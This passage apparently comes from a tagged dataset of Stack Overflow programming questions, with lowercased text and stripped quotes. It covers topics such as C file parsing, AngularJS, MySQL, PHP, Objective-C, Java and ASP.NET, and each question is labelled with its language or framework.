cannot be read for reading  close opened file handles  show an error message to the user  and exit     if (fin==null)     {         fputs ( error opening input file\n  stderr);         exit (1);     }      file * fout = fopen(argv[2]  wt );      // if the output file cannot be opened for writing  close opened file handles  show an error message to the user  and exit     if (fout==null)     {         fclose(fin);         fputs ( error opening output file\n  stderr);         exit (1);     }       // take input from the user     // take input from the user     printf( enter the configuration number:  );     scanf( %d  &amp;userci);      // allocate memory to contain the chunk of data for a time slice:     cbuff = (char*)malloc(sizeof(dcomplex)*unitcountperconfig );      // show error message and exit if memory allocation failed     if(cbuff == null)     {         fputs( buffer allocation failed.   stderr);         exit(1);     }      // variable to hold a complex number read from the file     dcomplex acomplexnumber;      dcomplex sumpertimeslice[tcount];       // loop on time slices     for( ci = 0;  ci&lt; configcount ; ci++){          // index of the complex number being read         unsigned int cnumberidx = 0;          // debugging message         printf( reading data for configuration: %d\n  ci);          // perform read operation to read the desired chunk of data         result = fread(cbuff   sizeof(char)   sizeof(dcomplex)*unitcountperconfig  fin );           // if size of data successfully read is not equal to what we wanted to read  notify the user and exit         if (result != sizeof(dcomplex)*unitcountperconfig) {             fputs ( data reading error\n  stderr);             exit (3);         }          double realp;         double imagp;// variable to hold real and imaginary part of the complex number           double realpsum;         double imagpsum;// variable to hold sum of real and sum of imaginary part of the current sum per time slice               for (mi =0; mi&lt; mcount ; mi++){                  for (ti =0; ti&lt; tcount ; ti++){                    // array to hold trace for each time slice                 sumpertimeslice[ti] = 0.0 + 0.0*_complex_i;                      for (d1i =0; d1i &lt; d1count ; d1i++){                         for (d2i =0; d2i &lt; d2count ; d2i++){                             for (pi =0; pi &lt; pcount ; pi++){                             acomplexnumber = constructfloat( &amp;cbuff[cnumberidx]  0 ) + constructfloat( &amp;cbuff[cnumberidx+ ((int)sizeof(dcomplex))/2 ]  0 )*_complex_i;                 if (ci== userci)                 {             cnumberidx += (int)sizeof(dcomplex);                             if (cimag(acomplexnumber)&gt;0)                             {fprintf( fout   %d %d %d %d %d %d %e+%ei\n   ci+1  mi+1 ti+1  d1i+1 d2i+1 pi+1 creal( acomplexnumber ) cimag( acomplexnumber ) );}                             else                             {fprintf( fout   %d %d %d %d %d %d %e%ei\n   ci+1  mi+1 ti+1  d1i+1 d2i+1 pi+1 creal(  acomplexnumber ) cimag( acomplexnumber ) );}                 }                               }                                        }                                }                   }                        }              }        // free the allocated memory         free(cbuff);      // close the opened file handles     fclose(fin);     fclose(fout);     //fclose(complexnumberfilep);  } </code></pre>,c
responsive youtube video with i-frame  i have a following i frame in html and that contain youtube video.here is the i frame-:   <pre><code>&lt;iframe width= 420  height= 315  src= https://www.youtube.com/embed/dgpo56imqua showinfo=1  frameborder= 0  allowfullscreen&gt;&lt;/iframe&gt; </code></pre>   how can i make this i- frame  responsive,css
reading content from web site  i want to retrieve &amp; store  information from website . the website is online shopping web site. want to update  description   prize as per the actual link. how i can do this using .net ( i think  windows  application will be suitable for the same.)    i tried below code  but always getting exception   <blockquote>  the remote server returned an error: (500) internal server error.  </blockquote>  <pre><code>url = ds.tables[0].rows[i][ url ].tostring(); var webclient = new webclient();. </code></pre>   sample url is <a href= http://www.flipkart.com/royal-son-what0355-wayfarer-sunglasses/p/itmeyx9ymutgg7k7 pid=sgleyx9ydyfyazae&amp;otracker=hp_mod_lifestyle_new-arrivals_prd_img  rel= nofollow >http://www.flipkart.com/royal-son-what0355-wayfarer-sunglasses/p/itmeyx9ymutgg7k7 pid=sgleyx9ydyfyazae&amp;otracker=hp_mod_lifestyle_new-arrivals_prd_img</a>,.net
cllocationmanager locationservicesenabled event on change  how can i monitor when <code>[cllocationmanager locationservicesenabled]</code> changed  i need something like <code>delegate</code> or <code>notification</code>.,ios
angularjs expression concatenating instead of adding  i have the following 2 expressions in my html (as the param for a controller function called within the ngclick directive)  where i am trying to implement simple paging functionality:    <code>{{ (currentpage|number)+(1|number) }}</code> - this concatenates the two values together as if they were a string.    <code>{{ (currentpage|number)-(1|number) }}</code> - this calculates the correct and expected numeric result.    any idea what the problem is here   i have tried various ways to add a literal and angularjs value together to no avail.  i am using version 1.2.0.    thanks in advance!,angularjs
activity indicator on button click  i am making an iphone app  in one of the view i am trying to put the activity indicator on button click. whenever user clicks on button  indicator must starts and at the end of this button activity indicator must stop. i have tried to implement it. but it is not working properly.  if someone has the solution for it. please let me know.    <pre><code>-(void)temp {     spinner = [[uiactivityindicatorview alloc]initwithactivityindicatorstyle:uiactivityindicatorviewstylewhitelarge];     spinner.frame = cgrectmake(0.0  0.0  40.0  40.0);     [spinner setcenter:cgpointmake(480/2.0  128.0/2)]; // (mid of screen) i do this because i m in landscape mode     [timetable addsubview:spinner];       [spinner startanimating];            [spinner release];  }   -(ibaction)datetimeis:(id)sender {     [self temp];     for (int d=0 ; d&lt;=[totaltimearray count]-1; d++)      {         for (int e=0 ; e&lt;=[appendarray count]-1; e++)          {             appenddate = [appendarray objectatindex:e];             datestring = [nsstring stringwithformat:@ %@  appenddate];          appendtime = [totaltimearray objectatindex:d];         timestring = [nsstring stringwithformat:@ %@  appendtime];          rslttwostr = [datestring stringbyappendingformat:@ %@  timestring];         nslog(@ timestring is:%@  rslttwostr);         [dateandtime addobject:rslttwostr];         nslog(@ dateandtimeis:%@  dateandtime);     } }  totaltimewithdate = dateandtime; [self savedetails]; [self docmedname]; [self retrivenotificationarray]; //[barbutton release]; [self.navigationcontroller poptorootviewcontrolleranimated:yes]; } </code></pre>   thanks alot.,iphone
how to convert between different classes in c++   i have a question related to conversion of different classes as the following code script shows:   <pre><code>template&lt;typename e&gt; class coordinate  { public:     e x_;     e y_;     coordinate(e x  e y):x_(x) y_(y) {};     coordinate():x_(0) y_(0) {};     ~coordinate() {}; };  typedef vector&lt;coordinate&lt;float&gt; &gt; cordfloat; typedef vector&lt;coordinate&lt;double&gt; &gt; corddouble;     int main() {     corddouble myarray;     coordinate&lt;float&gt; value(1.2 1.3);     // myarray.push_back(value);  // failed!!!     // option 1     coordinate&lt;double&gt; temp;     temp.x_ = static_cast&lt;double&gt;(value.x_);     temp.y_ = static_cast&lt;double&gt;(value.y_);     myarray.push_back(temp);     // option 2     // myarray.push_back(static_cast&lt;coordinate&lt;double&gt; &gt;(value)); // failed!!!     // option 3     // myarray.push_back(dynamic_cast&lt;coordinate&lt;double&gt; &gt;(value)); // failed!!!      return 0; } </code></pre>   in the above codes i try three means to do the job. only the first method works. it seems i cannot use <code>static_cast</code> and <code>dynamic_cast</code> for conversion directly. i was wondering whether there are other means of performing the conversion task.,c++
why isnt the @override method run   i want to run the child @override method but it doesnt work  i am fairly new to this and if someone could help that would be great!    this is the parrent class:   <pre><code>public class centralclass {       public void test(){       } } </code></pre>   this is the child class:   <pre><code>public class filemethods extends centralclass {      @override     public void test(){         log.v( refactor    testtt );     } } </code></pre>   edit:    <pre><code>centralclass cc = new centralclass(); cc.test(); </code></pre>,android
checking if parentheses match always saying that they match  i am writing a program where i should check if the opening parenthesis matches the closing one. if it doesn t match  i should display no. otherwise  i should display yes.    this is the function i wrote  taking the input from the input buffer. however   i just keep on receiving yes for the second test case  instead of yes no yes but the other two cases are correct.   <pre><code>static string[] braces(string[] values) { stack&lt;character&gt; st = new stack&lt;character&gt;(); string[] answer = new string[values.length]; for(int i =0; i&lt;values.length;i++){   char[] crt = values[i].tochararray();   for(char c : crt){     switch(c){       case  { :       case  ( :       case  [ :         st.push(c);         break;       case  } :         if(st.isempty() || (st.peek() !=  { ))         {           answer[i]=  no ;             break;         }         st.pop();        case  ) :         if(st.isempty() || (st.peek() !=  ( ))         {           answer[i]=  no ;             break;         }         st.pop();         case  ] :         if(st.isempty() || (st.peek() !=  [ ))         {           answer[i]=  no ;             break;         }         st.pop();       }   }     if(st.isempty() &amp;&amp; answer[i].equals( no ) ){     answer[i]= yes ;     system.out.println( i set answer[  + i +  ] = yes due to stack being empty );   }   else   {     answer[i]= no ;     system.out.println( i set answer[  + i +  ] = no due to stack being non-empty );   }           st.clear(); } return answer; </code></pre>   },java
mysql sum with case choose latest record by date  i ve got the sum case statements working properly. the issue is that i have multiple records with similar criteria  so i d like to select the latest record by date.   <pre><code> select      sum(case when planning like  rotation%  then 1 else 0 end +          case when assessmentanddata like  collects%  then 1 else 0 end +         case when path like  same%  then 1 else 0 end +         case when place like  move%  then 1 else 0 end +         case when pace like  timer%  then 1 else 0 end +         case when classroommanagement like  restating%  then 1 else 0 end +         case when teacherrole like  mini%  then 1 else 0 end +         case when studentengagement like  follow%  then 1 else 0 end +         case when studentcollaboration like  collects%  then 1 else 0 end +         case when technology like  technology%  then 1 else 0 end)  as p1     from ruberic where schoolid = 1  </code></pre>   a sample from the table will be these 3 columns of date  schoolid  and teacherid:   <blockquote>    2016-12-05    1   1 -> this record will be fine        2016-12-05    1   4 -> select only this when compared with the record below        2016-12-05    1   4  </blockquote>,mysql
angular modal without bootstrap  i have been using $modal and $modalinstance and i like them. however  css got very messy and now i have to remove bootstrap. now i need a modal.    is there anything like $modal/$modalinstance without bootstrap     any suggestions,angularjs
sign up iphone dev  1) can we test our own iphone application with out sign up in iphone dev center  .    2) i am not signed up in iphone dev center ( with paying $99 )  but i developed one<br>    iphone  application  it i can t to test my iphone. is it happened becoz of not signed      3) in my application i developed using iphoneos 2.2  but in my iphone firmware is 3.0     is it the reason.       4) my application name is  mycalculator  after i compiled i got one  mycalculator.app  file in build folder  in that file one  info.plist  is there. in that plist  i put the value of  dtsdkname = iphoneos2.2  is it that problem...    pls give me actual reason.. may these 4 also the reason  ..,iphone
page load on master page  i used a submit button. when i enter the logon details  full name should be displayed on master page. i could display the full name only when i refresh the browser. can you say hao to get rid of this event,asp.net
if statement comparring keep saying 4 is bigger than 5  i have an array that would has 0-49. when i compare acc_x[i] > acc_x[i-1]  it would work for some value until it is comparing 5 and 4  then it say that 4 is bigger than 5 and go into the else statement. please help.    <pre><code>int main(int argc  const char * argv[]) {     @autoreleasepool {         // insert code here...         //nslog(@ hello  world! );          //use velocity not acceleration. sorry for the naming. so run the velocity function for the array first that i wrote a already         nsmutablearray * acc_x = [nsmutablearray array];           nsnumber * temp = 0;         //the highest point or lowest point         nsnumber *highest =0;         nsnumber *lowest = 0;         int flag = 0;          //array for the highest and lowest point         nsmutablearray * array_lowest = [nsmutablearray array];         nsmutablearray * array_highest = [nsmutablearray array];         //array for the time when the highest and the lowest point         nsmutablearray * time_lowest = [nsmutablearray array];         nsmutablearray * time_highest = [nsmutablearray array];           double temp1 = 0;         nsnumber *temp2 = 0;         // the time variable is is just for temp variable. the real variable will be how long it take to have one measurement. i think it was like .001 or something like that but i don t remember. the time have to be in second if it is not in second the conver it.         double time = 0.1;         //trying to find the highest point or the lowest points in the graph from the acceleration         for (int i=0; i&lt;50; i++)         {             //putting 0-49 into the array for testing             temp = [nsdecimalnumber numberwithdouble:i];             [acc_x addobject:temp];              if(i == 2) {                 if (acc_x[i] &gt; acc_x[i-1]) {                     flag = 0;                 }                 if(acc_x[i] &lt; acc_x[i-1]){                     flag = 1;                 }                 nslog(@ flag = %d  flag);             }              if(i&gt;1) {                 if(acc_x[i] &gt; acc_x[i-1]) {                     nslog(@ x now is bigger then x past );                 }             }              if(i &gt;1) {                 if(acc_x[i] &gt; acc_x[i-1]) {                     nslog(@ x now is bigger then x pass );                 }                  nslog(@ i = %d   i-1 = %d  i  i-1);                 if (flag == 0) {                 nslog(@ flag is 0 );                 if(acc_x[i] &gt; acc_x[i-1]) {                     highest = acc_x[i];                 }                 else {                     nslog(@ flag going to turn into 1 );                     [array_highest addobject:highest];                     flag = 1;                     // calculate the time when the highest point is                     temp1 = time * i;                     temp2 = [nsnumber numberwithdouble:temp1];                     [time_highest addobject:temp2];                 }             }             if (flag ==1) {                 nslog(@ flag is 1 );             }             }          }           // the size of the array       /*  long size = [acc_x count];        for (int i =1; i&lt;size-1; i++) {             nslog(@ i = %d  flag = %d  array = %@  array[i-1] = %@  i flag acc_x[i] acc_x[i-1]);             if (flag == 1) {                 if (acc_x[i] &lt; acc_x[i-1]) {                     lowest = acc_x[i];                 }                 if (acc_x[i] &gt; acc_x[i-1]) {                     flag = 0;                     [array_lowest addobject:lowest];                     // the temp1 is storing the time when this point got recorded                     temp1 = time * i;                     temp2 = [nsnumber numberwithdouble:temp1];                     [time_lowest addobject:temp2];                 }             }             if (flag == 0) {                 if (acc_x[i] &gt; acc_x[i-1]) {                     highest = acc_x[i];                     nslog(@ x now is bigger than x-1 );                     //nslog( highest = %d   highest);                 }                 if (acc_x[i] &lt; acc_x[i-1]) {                     nslog(@ x now is less than x-1 );                     flag = 1;                     [array_highest addobject:highest];                     // the temp1 is storing the time when this point got recorded                     temp1 = time * i;                     temp2 = [nsnumber numberwithdouble:temp1];                     [time_highest addobject:temp2];                 }             }         }*/          //finding the period: time for 1 oscillation in second (remember that it is in second very important)       }     return 0; } </code></pre>,objective-c
angularjs: modifying the url using $locationprovider.html5mode  i am trying to modify the url of my angularjs app . initially my urls were http:localhost:8080/a/web/app/index.html#/   and http:localhost:8080/a/web/app/index.html#/next    when i inserted the following code to my app.js   <pre><code>    var app =angular.module( app   [       ngcookies         ngresource         ngroute       ])    .config(function ($routeprovider $locationprovider) {     $routeprovider     .when( /   {     templateurl:  /a/web/app/views/main.html       controller:  ctrl_main      })    .when( /next   {     templateurl:  /a/web/app/views/next.html       controller:  ctrl_next      });            $locationprovider.html5mode(true);   }); </code></pre>   my new urls became http:localhost:8080  and  http:localhost:8080/next . my problem is when i tried to reload the page at http:localhost:8080/next    404 not found error is coming,angularjs
find intersection of circle and line  i am trying to find a line is intersecting a circle or not.    i write code but seems some issues with that code.   <pre><code>private point2d[] intersectionpoint(point2d p1  point2d p2  point2d sc  double r)     {         point2d[] sect = null;         double a  b  c;         double bb4ac;         double mu1  mu2;         point2d dp;          dp = p2 - p1;          a = dp.x * dp.x + dp.y * dp.y;         b = 2 * (dp.x * (p1.x - sc.x) + dp.y * (p1.y - sc.y));         c = sc.x * sc.x + sc.y * sc.y;         c += p1.x * p1.x + p1.y * p1.y;         c -= 2 * (sc.x * p1.x + sc.y * p1.y);         c -= r * r;         bb4ac = b * b - 4 * a * c;          if (math.abs(a) &lt; double.epsilon || bb4ac &lt; 0)         {             return new point2d[0];         }          mu1 = (-b + math.sqrt(bb4ac)) / (2 * a);         mu2 = (-b - math.sqrt(bb4ac)) / (2 * a);          // no intersection         if ((mu1 &lt; 0 || mu1 &gt; 1) &amp;&amp; (mu2 &lt; 0 || mu2 &gt; 1))         {             sect = new point2d[0];         }         // one point on mu1         else if (mu1 &gt; 0 &amp;&amp; mu1 &lt; 1 &amp;&amp; (mu2 &lt; 0 || mu2 &gt; 1))         {             sect = new point2d[1];             sect[0] = p1 + ((p2 - p1) * mu1);         }         // one point on mu2         else if (mu2 &gt; 0 &amp;&amp; mu2 &lt; 1 &amp;&amp; (mu1 &lt; 0 || mu1 &gt; 1))         {             sect = new point2d[1];             sect[0] = p1 + ((p2 - p1) * mu2);         }         //  one or two points         else if (mu1 &gt; 0 &amp;&amp; mu1 &lt; 1 &amp;&amp; mu2 &gt; 0 &amp;&amp; mu2 &lt; 1)         {             //  tangential             if (mu1 == mu2)             {                 sect = new point2d[1];                 sect[0] = p1 + ((p2 - p1) * mu1);             }             //  two points             else             {                 sect = new point2d[2];                 sect[0] = p1 + ((p2 - p1) * mu1);                 sect[1] = p1 + ((p2 - p1) * mu2);             }         }         else         {             //  should never get here             sect = new point2d[0];         }         return sect;     } </code></pre>   and calling this function like    <pre><code>point ptold = points[oldpoint]; point ptnew = points[newpoint]; point2d p1 = new point2d((float)ptold.latitude  (float)ptold.longitude); point2d p2 = new point2d((float)ptnew.latitude  (float)ptnew.longitude); point2d sc = new point2d((float)loc.latitude  (float)loc.longitude); </code></pre>   it fails when i am trying with these co-ordinates    30 -30    80 -40    10    <a href= https://www.dropbox.com/s/38r9eylt2p4xfvw/graph.png  rel= nofollow >https://www.dropbox.com/s/38r9eylt2p4xfvw/graph.png</a>,c#
js error: play is not a function                           function play(id  song)     {      alert(id+song);     }                        <pre><code> &lt;img id= oi1  class= oi  src= /images/miniplay.png  alt= play  onclick= play(24   325s2sq2h ); /&gt;  &lt;img id= oi2  class= oi  src= /images/miniplay.png  alt= play  onclick= play(35   skf8s2n2 ); /&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   firebug gives an error   <blockquote>    play is not a function [break on this   error] play (24   325s2sq2h );  </blockquote>   how fix it  thank you!,javascript
edit and update function in controller for has_one active record association  i m trying to have a better understanding how to properly call for the update action for a <code>has_one</code> relationship. i m receiving the following error   <blockquote>    nameerror (uninitialized constant user::companyinfos): app/controllers/companyinfos_controller.rb:3:in `edit   </blockquote>   i want help fixing my controller  but also is there a good article to read about controllers when using the association in the database. i m new and trying to get better.    <strong>user.rb</strong>   <pre><code>class user &lt; applicationrecord    enum role: [:startup  :investor]    # include default devise modules. others available are:    # :confirmable  :lockable  :timeoutable and :omniauthable    devise :database_authenticatable  :registerable       :recoverable  :rememberable  :trackable  :validatable     has_one :photos  dependent: :destroy    has_one :companyinfos  dependent: :destroy    validates :name  presence: true    validates :role  presence: true    after_create :add_companyinfos      def add_companyinfos     companyinfo.create(user: self)    end </code></pre>   end    i m using after_create becuase i only want the users to beable to edit company info.     <strong>companyinfo.rb</strong>   <pre><code>class companyinfo &lt; applicationrecord   belongs_to :user end </code></pre>   <strong>companyinfos_controller.rb</strong>   <pre><code>class companyinfoscontroller &lt; applicationcontroller   def edit     @companyinfo = user.find(current_user.id).companyinfos   end    def update     @companyinfo = companyinfo.find(current_user.id).companyinfos     if @companyinfo.update(companyinfo_params)         flash[:notice] =  saved ...      else         flash[:alert] =  cannot save      end     render  edit    end  private    def companyinfo_params      params.require(:company_basic).permit(:companystage)   end end </code></pre>   <strong>edit.html.erb</strong>   <pre><code>&lt;%= form_for :companyinfo do |f| %&gt;     &lt;%= f.text_field :companystage %&gt;     &lt;%= f.submit  save   class:  btn btn-success  %&gt; &lt;% end %&gt; </code></pre>   <strong>routes.rb</strong>   <pre><code>  resources :users  only: [:show] do     resources :photos  only: [:create  :destroy]     resources :companyinfos  only: [:edit  :update]   end </code></pre>,ruby-on-rails
asp.net disabling listbox on postback  i have a asp.net listbox. a master-detail view. when the selectionchanges on the listbox  controls on an update panel update. all working fine. now if the user arrows through the listbox selections i get like a million postbacks. ideally (for ux) it would be great to cancel the previous postback. but what i tried was on the pagerequestmanager.add_initializerequest: disable the listbox with jquery so the user cannot make another selection. then on add_endrequest enable the listbox. the boss does not like the disabled look for a couple of seconds.    can someone think of a better way for me to handle this  i tried changing the color while disabled but could not find a way.,asp.net
how to create inmemory html/xml document in .net   i would like to write application which will iterate trough certain test cases and generated output in html file.    for this i would like to have something using which i can keep appending the html nodes to the output for each test case. is there nice way in .net for doing so   how       any pointers or suggestions will be helpful.,.net
assistance writing a mysql query based on conditions  i m attempting to write a mysql statement based on an if statement.    here s what i want to do: i need the query to collect rows based on whether or not an item is going to be due within two weeks or if it s already passed due.    this is what i have so far:   <pre><code>select   t_id    firstname     lastname     checktime    due from (checkout join people) where checkout.p_id = people.p_id order by due if(date(now()-checkout.due) &lt;= 2 week); </code></pre>   mysql is stating that there is a syntax error near the if statement (i m not surprised as i m not familiar with writing conditional statements in mysql).     another question is regarding whether or not mysql will yield a date that is negative (i.e. to indicate that an item is passed due). thanks in advance.,mysql
onclick event not firing on any browser  i have a simple form on my index.aspx page which sends email on button click in code behind file   <pre><code>&lt;form runat= server  action= index.aspx &gt;      &lt;label&gt;name&lt;/label&gt;     &lt;input type= text  runat= server  class= form-control  placeholder= name  id= name  required data- validation-required-message= please enter your name. &gt;     &lt;label&gt;email address&lt;/label&gt;     &lt;input type= email  runat= server  class= form-control  placeholder= email address  id= email  required data-validation-required-message= please enter your email address. &gt;     &lt;label&gt;phone number&lt;/label&gt;     &lt;input type= tel  runat= server  class= form-control  placeholder= phone number  id= phone  required data-validation-required-message= please enter your phone number. &gt;     &lt;label&gt;message&lt;/label&gt;     &lt;textarea rows= 5  runat= server  class= form-control  placeholder= message  id= message  required data-validation-required-message= please enter a message. &gt;&lt;/textarea&gt;      &lt;asp:button runat= server  text= send  onclick= button1_click  cssclass= btn btn-success btn-lg &gt;&lt;/asp:button&gt;  &lt;/form&gt; </code></pre>   button1_click event not firing on any browser.on my code behind file i have following code   <pre><code>protected void button1_click(object sender  eventargs e) {     try     {         // gmail address from where you send the mail         var fromaddress = request.form[ email ];         // any address where the email will be sending         var toaddress =  ab@yahoo.com ;         //password of your gmail address         const string frompassword =  abc ;         // passing the values and make a email formate to display         string subject =  feedback of comic maker ;         string body =  from:   + request.form[ name ] +  \n ;         body +=  subject:   + request.form[ message ] +  \n ;         body +=  question: \n  + request.form[ phone ] +  \n ;         // smtp settings         var smtp = new system.net.mail.smtpclient();         {             smtp.host =  smtp.gmail.com ;             smtp.port = 587;             smtp.enablessl = true;             smtp.deliverymethod = system.net.mail.smtpdeliverymethod.network;             smtp.credentials = new networkcredential(fromaddress  frompassword);             smtp.timeout = 20000;         }         // passing values to smtp object         smtp.send(fromaddress  toaddress  subject  body);     }     catch { } } </code></pre>   nothing is happening   i have put breakpoints but nothing is happening.need help,asp.net
make a php variable be recognized  i ve been working on a php dynamic drop down list that scans a folder on the web server and list its contents it works hears relevant selection of the code.   <pre><code>&lt; php   foreach(glob(dirname(rootdir) .  /path/username/* ) as $filename){ $filename = basename($filename); echo  &lt;option value= filepath/username/  . $filename .   &gt; .$filename. &lt;/option&gt; ; }  &gt; </code></pre>   however if i use a variable to populate part of the file path the variable doesn t get added to the path.   <pre><code>&lt; php $name =  jsmith ;  foreach(glob(dirname(rootdir) .  /path/$name/* ) as $filename){ $filename = basename($filename); echo  &lt;option value= filepath/$name/  . $filename .   &gt; .$filename. &lt;/option&gt; ; }  &gt; </code></pre>   $name =  jsmith     the result i m looking for is /path/$name/* = /path/jsmith/  and filepath/$name/ = filepath/jsmith/    how do i get the glob(dirname) and option value=  recognize the variables,php
setting height 100% not working  for some reason the container s boundaries won t go all the way to the bottom despite making its height 100%.  here is my code  the container is under another div center.    html   <pre><code>&lt;div id= center &gt; &lt;div class= container  &gt;  &lt;/div&gt;  &lt;/div&gt; </code></pre>   css   <pre><code>#center {      float:left;   width:20%;   margin-top:10px;   height:100%; }  .container {   margin-top:3px;      height:100%;     border:2px solid #dedede;    width:600px; } </code></pre>,css
subscripted value is neither array nor pointer nor vector  error  i ve read questions about similar problems  but <strong>2d</strong> or <strong>dynamic</strong> arrays  problems has been solved there. (there are pointers  but i d like to do it without them.)   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int interseq ( int  int ); // interval sequence  int main() {     int arr[100] = { 75  47  64  45  67  51  55  36  63  30                       39  58  55  67  70  44  46  51  51  61                       50  54  49  51  52  54  64  68  45  40                       48  60  55  37  36  13  62  53  37  53                       52  49  37  54  69  44  53  58  77  46                        44  63  57  64  28  46  50  57  42  72                       12  69  52  53  77  50  45  49  49  46                       28  40  65  25  45  45  62  28  39  69                       52  57  39  73  37  46  38  65  49  58                       63  30  51  48  47  56  48  41  30  54 };      printf( %d   interseq ( arr  diagarr) );      return 0; }   /* user s function. description:  farr  is  arr  and so on..  */ int interseq ( int farr  int fdiagarr) {    int min  i;     for ( i = 0; i &lt; 100; i++ )    // finding the  min  element.       if ( farr[i+1] &lt; farr[i] )  // there are 2 errors            min = farr[i];          // there is 1 error        else           min = farr[i+1];        // there is 1 error   return 1; } </code></pre>   <strong>the errors are the same:</strong>   <pre><code>error: subscripted value is neither array nor pointer nor vector </code></pre>,c
c# how to return instance dynamically by generic <h2>see my code</h2>  <pre><code>class program {     static void main(string[] args)     {         employee t = getinstance&lt;importance.employee&gt;(importance.employee);     }      public static t getinstance&lt;t&gt;(importance objtype)     {         if (objtype == importance.employee)             return (t)convert.changetype((new employee())  typeof(t));         else              return (t)convert.changetype((new teacher())  typeof(t));     } }  public class employee {     string id =   ;     string name =   ; }  public class teacher {     string id =   ;     string name =   ; }  enum importance {     employee      teacher }; </code></pre>   this line is not working:   <pre><code>employee emp = getinstance&lt;importance.employee&gt;(importance.employee); </code></pre>   throwing error    <blockquote>     genericfunction.importance.employee  is a  field  but is used like a  type   </blockquote>   where i made the mistake. please help because i am trying to learning generic because i weak there. thanks,c#
script to update mysql not working  okay so i have a php script that makes a user an artist if vote is high enough. the first part of the script works (the part that does the voting). however  the second part of the script that makes a user an artist does not. it worked before on localhost but is not working on live server for some reason. either the script has changed and i didn t notice it or there s something wrong with my server config.     i know i should be using mysqli but please don t mention that i am working on it.    to explain how the system works  a form on the voting page is posted to this script and it all runs from there.    there is no error in the error log. updating the table for //make an artist if vote high enough just doesn t work.    here s the script:   <pre><code>&lt; php session_start(); include( ../database.php );  $username = $_session[ username ]; $artistname = htmlspecialchars(mysql_real_escape_string($_post[ artistname ])); $trackname = htmlspecialchars(mysql_real_escape_string($_post[ trackname ])); $trackurl = htmlspecialchars(mysql_real_escape_string($_post[ trackurl ]));  $flag = 0; // safety net  if this gets to 1 at any point in the process  we don t upload. if(isset($_post[ yes ])){  //code runs if vote is yes   //check if user hasnt already voted on track   $result = mysql_query( select username from voted where voted= $artistname  and trackname= $trackname  and username= $username  )or die(mysql_error());  $check2 = mysql_num_rows($result);   if ($check2 != 0) {      echo( &lt;t1&gt;sorry  you have already voted on this track. &lt;b&gt;click next track.&lt;/b&gt;     &lt;/t1&gt; );    $flag = $flag + 1; }  //code runs if everything is okay   if($flag == 0){ mysql_query( update members set vote = vote+1 where artistname= $artistname   );   echo  &lt;t1&gt;&lt;b&gt;you liked the track   .$trackname.   by   .$artistname.  &lt;/t1&gt;&lt;/b&gt; ;     mysql_query( insert into voted  (username  voted trackname  yesno)          values (  .$username.     .$artistname.     .$trackname.     yes ) )  or die(mysql_error());   //make an artist if vote high enough $vote = mysql_query( select vote from members where artistname= $artistname  )or die(mysql_error());    if ($vote &gt; 50) {  $artisturl = htmlspecialchars(mysql_real_escape_string(str_replace(        $_post[ artistname ])));  mysql_query( update members set artist= y   image1= ../files/noprofile.jpg   artisturl= $artisturl  where artistname= $artistname    )or die(mysql_error());   mysql_query( update tracks set artist= y   artisturl= $artisturl  where artistname= $artistname   )or die(mysql_error());  //email user that has just been made artist $result = mysql_query( select * from members where artistname=  $artistname  ); while($row = mysql_fetch_array($result)){ function spamcheck($field) { //filter_var() sanitizes the e-mail //address using filter_sanitize_email  $field=filter_var($row[ email ]  filter_sanitize_email);   //filter_var() validates the e-mail  //address using filter_validate_email   if(filter_var($row[ email ]  filter_validate_email))    {   return true;   }   else  {   return false;  }  }  {//send email  $to = $row[ email ];  $subject =  congratulations! you re now an nbs artist ;  $message =  hi  .$row[ artistname ].    //message removed for condensed code  $from =   ;  $headers =  from:  .  \r\n  .  reply-to:   .  \r\n ; mail($to $subject $message $headers);     }  }  echo  &lt;br&gt;&lt;t1&gt;you just made   .$artistname.   an artist! &lt;a href=  .$artisturl.  &gt;&lt;b&gt;click here&lt;/b&gt;&lt;/a&gt; to see their profile.&lt;/t1&gt; ;  }  }  }  </code></pre>,php
"after adding button area is not reseting  showing previous area <blockquote>    blockquote   after adding(+) fields  the area is not resetting its showing previous area only.   blockquote  </blockquote>   <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( calc   []);
 app.controller( calc_ctrl   function ($scope) {
      $scope.choices = [{id :  choice1   l2 : 0  b2 : 0}];
      $scope.addnewchoice = function () { var newitemno = $scope.choices.length + 1;
           $scope.choices.push({ id  :  choices  + newitemno  l2 : 0  b2 : 0});};
 $scope.removechoice = function () { var lastitem = $scope.choices.length - 1;
           if (lastitem !== 0) {$scope.choices.splice(lastitem);}};
 $scope.sum = function () { var sum = 0;
           angular.foreach($scope.choices  function (choice) {
                sum += choice.l2 * choice.b2;
           }); return sum;}
 $scope.getarea = function () {
                 $scope.total = +document.getelementbyid( total ).value;};
     $scope.$watch($scope.sum  function (value) {
        $scope.total = value;});});</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
      &lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js &gt;&lt;/script&gt;
      &lt;body&gt;&lt;div ng-app= calc  ng-controller= calc_ctrl &gt;
                &lt;form  data-ng-repeat= choice in choices &gt;   &lt;br&gt;  {{$index + 1}} : length:&lt;input type= number  ng-model= choice.l2   /&gt;ft breadth: &lt;input type= number  ng-model= choice.b2   /&gt;ft
                     area:  &lt;input type= number  class= form-control text-red bold  id= total  placeholder= area   ng-model= total  ng-change= getarea() &gt;sqft &lt;button  ng-click= addnewchoice() &gt;+&lt;/button&gt;&lt;button  ng-show= $last  ng-click= removechoice() &gt;-&lt;/button&gt; &lt;/br&gt; &lt;/form&gt;
                &lt;p class= bold &gt;area to be treated:&lt;/p&gt; &lt;h1&gt;{{( + total + ( + total * 0.05)) | number:2}}&lt;span class= small-text &gt; &lt;/span&gt;&lt;/h1&gt;
           &lt;/div&gt; &lt;script src= att.js &gt;&lt;/script&gt;
      &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",angularjs
